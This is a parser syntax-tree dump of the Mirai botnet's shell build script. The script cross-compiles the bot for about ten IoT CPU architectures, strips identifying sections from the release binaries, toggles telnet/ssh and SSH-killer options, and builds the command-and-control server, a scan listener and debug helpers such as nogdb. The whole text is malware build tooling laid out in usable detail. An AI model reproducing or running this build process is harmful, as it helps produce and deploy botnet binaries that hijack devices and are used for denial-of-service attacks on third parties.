(List (= scope=<EAssignScope.GLOBAL 1> flags=0 words=[] bindings=[('FLAGS', {[DQ ]})]) (FunctionDef compile_bot [] (List (Com {[DQ [VarSub 1][LIT_CHARS -gcc]]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[VarSub 3]} {[LIT_CHARS bot/] [LIT_OTHER "*"] [LIT_CHARS .c]} {[LIT_CHARS -O3]} {[LIT_CHARS -fomit-frame-pointer]} {[LIT_CHARS -fdata-sections]} {[LIT_CHARS -ffunction-sections]} {[LIT_CHARS -Wl] [LIT_COMMA ","] [LIT_CHARS --gc-sections]} {[LIT_CHARS -o]} {[LIT_CHARS release/] [DQ [VarSub 2]]} {[LIT_CHARS -DMIRAI_BOT_ARCH] [LIT_OTHER "="] [\ LIT_ESCAPED_CHAR "\\\""] [DQ [VarSub 1]] [\ LIT_ESCAPED_CHAR "\\\""]}) (Com {[DQ [VarSub 1][LIT_CHARS -strip]]} {[LIT_CHARS release/] [DQ [VarSub 2]]} {[LIT_CHARS -S]} {[LIT_CHARS --strip-unneeded]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .note.gnu.gold-version]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .comment]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .note]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .note.gnu.build-id]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .note.ABI-tag]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .jcr]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .got.plt]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .eh_frame]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .eh_frame_ptr]} {[LIT_CHARS --remove-section] [LIT_OTHER "="] [LIT_CHARS .eh_frame_hdr]}) ) ) (If (Com {[LIT_OTHER "["]} {[VarSub #]} {[LIT_OTHER "="] [LIT_OTHER "="]} {[LIT_CHARS 2]} {[LIT_OTHER "]"]}) (If (Com {[LIT_OTHER "["]} {[DQ [VarSub 2]]} {[LIT_OTHER "="] [LIT_OTHER "="]} {[DQ [LIT_CHARS telnet]]} {[LIT_OTHER "]"]}) (= scope=<EAssignScope.GLOBAL 1> flags=0 words=[] bindings=[('FLAGS', {[DQ [LIT_CHARS -DMIRAI_TELNET]]})]) (Com {[LIT_OTHER "["]} {[DQ [VarSub 2]]} {[LIT_OTHER "="] [LIT_OTHER "="]} {[DQ [LIT_CHARS ssh]]} {[LIT_OTHER "]"]}) (= scope=<EAssignScope.GLOBAL 1> flags=0 words=[] bindings=[('FLAGS', {[DQ [LIT_CHARS -DMIRAI_SSH]]})]) ) (ElseTrue) (List (Com {[LIT_CHARS echo]} {[DQ [LIT_CHARS "Missing build type."]]}) (Com {[LIT_CHARS echo]} {[DQ [LIT_CHARS "Usage: "][VarSub 0][LIT_CHARS " <debug | release> <telnet | ssh>"]]}) ) ) (If (Com {[LIT_OTHER "["]} {[VarSub #]} {[LIT_OTHER "="] [LIT_OTHER "="]} {[LIT_CHARS 0]} {[LIT_OTHER "]"]}) (Com {[LIT_CHARS echo]} {[DQ [LIT_CHARS "Usage: "][VarSub 0][LIT_CHARS " <debug | release> <telnet | ssh>"]]}) (Com {[LIT_OTHER "["]} {[DQ [VarSub 1]]} {[LIT_OTHER "="] [LIT_OTHER "="]} {[DQ [LIT_CHARS release]]} {[LIT_OTHER "]"]}) (List (Com {[LIT_CHARS rm]} {[LIT_CHARS release/mirai.] [LIT_OTHER "*"]}) (Com {[LIT_CHARS rm]} {[LIT_CHARS release/miraint.] [LIT_OTHER "*"]}) (Com {[LIT_CHARS go]} {[LIT_CHARS build]} {[LIT_CHARS -o]} {[LIT_CHARS release/cnc]} {[LIT_CHARS cnc/] [LIT_OTHER "*"] [LIT_CHARS .go]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS i586]} {[LIT_CHARS mirai.x86]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS mips]} {[LIT_CHARS mirai.mips]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS mipsel]} {[LIT_CHARS mirai.mpsl]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS armv4l]} {[LIT_CHARS mirai.arm]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS armv5l]} {[LIT_CHARS mirai.arm5n]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS armv6l]} {[LIT_CHARS mirai.arm7]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS powerpc]} {[LIT_CHARS mirai.ppc]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS sparc]} {[LIT_CHARS mirai.spc]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS m68k]} {[LIT_CHARS mirai.m68k]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS sh4]} {[LIT_CHARS mirai.sh4]} {[DQ [VarSub FLAGS][LIT_CHARS " -DKILLER_REBIND_SSH -static"]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS i586]} {[LIT_CHARS miraint.x86]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS mips]} {[LIT_CHARS miraint.mips]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS mipsel]} {[LIT_CHARS miraint.mpsl]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS armv4l]} {[LIT_CHARS miraint.arm]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS armv5l]} {[LIT_CHARS miraint.arm5n]} {[DQ [LIT_CHARS " "]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS armv6l]} {[LIT_CHARS miraint.arm7]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS powerpc]} {[LIT_CHARS miraint.ppc]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS sparc]} {[LIT_CHARS miraint.spc]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS m68k]} {[LIT_CHARS miraint.m68k]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS compile_bot]} {[LIT_CHARS sh4]} {[LIT_CHARS miraint.sh4]} {[DQ [LIT_CHARS -static]]}) (Com {[LIT_CHARS go]} {[LIT_CHARS build]} {[LIT_CHARS -o]} {[LIT_CHARS release/scanListen]} {[LIT_CHARS tools/scanListen.go]}) ) (Com {[LIT_OTHER "["]} {[DQ [VarSub 1]]} {[LIT_OTHER "="] [LIT_OTHER "="]} {[DQ [LIT_CHARS debug]]} {[LIT_OTHER "]"]}) (List (Com {[LIT_CHARS gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS bot/] [LIT_OTHER "*"] [LIT_CHARS .c]} {[LIT_CHARS -DDEBUG]} {[DQ [VarSub FLAGS]]} {[LIT_CHARS -static]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/mirai.dbg]}) (Com {[LIT_CHARS mips-gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS -DDEBUG]} {[LIT_CHARS bot/] [LIT_OTHER "*"] [LIT_CHARS .c]} {[DQ [VarSub FLAGS]]} {[LIT_CHARS -static]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/mirai.mips]}) (Com {[LIT_CHARS armv4l-gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS -DDEBUG]} {[LIT_CHARS bot/] [LIT_OTHER "*"] [LIT_CHARS .c]} {[DQ [VarSub FLAGS]]} {[LIT_CHARS -static]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/mirai.arm]}) (Com {[LIT_CHARS armv6l-gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS -DDEBUG]} {[LIT_CHARS bot/] [LIT_OTHER "*"] [LIT_CHARS .c]} {[DQ [VarSub FLAGS]]} {[LIT_CHARS -static]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/mirai.arm7]}) (Com {[LIT_CHARS sh4-gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS -DDEBUG]} {[LIT_CHARS bot/] [LIT_OTHER "*"] [LIT_CHARS .c]} {[DQ [VarSub FLAGS]]} {[LIT_CHARS -static]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/mirai.sh4]}) (Com {[LIT_CHARS gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS tools/enc.c]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/enc]}) (Com {[LIT_CHARS gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS tools/nogdb.c]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/nogdb]}) (Com {[LIT_CHARS gcc]} {[LIT_CHARS -std] [LIT_OTHER "="] [LIT_CHARS c99]} {[LIT_CHARS tools/badbot.c]} {[LIT_CHARS -g]} {[LIT_CHARS -o]} {[LIT_CHARS debug/badbot]}) (Com {[LIT_CHARS go]} {[LIT_CHARS build]} {[LIT_CHARS -o]} {[LIT_CHARS debug/cnc]} {[LIT_CHARS cnc/] [LIT_OTHER "*"] [LIT_CHARS .go]}) (Com {[LIT_CHARS go]} {[LIT_CHARS build]} {[LIT_CHARS -o]} {[LIT_CHARS debug/scanListen]} {[LIT_CHARS tools/scanListen.go]}) ) (ElseTrue) (Com {[LIT_CHARS echo]} {[DQ [LIT_CHARS "Unknown parameter "][VarSub 1][LIT_CHARS ": "][VarSub 0][LIT_CHARS " <debug | release>"]]}) ) )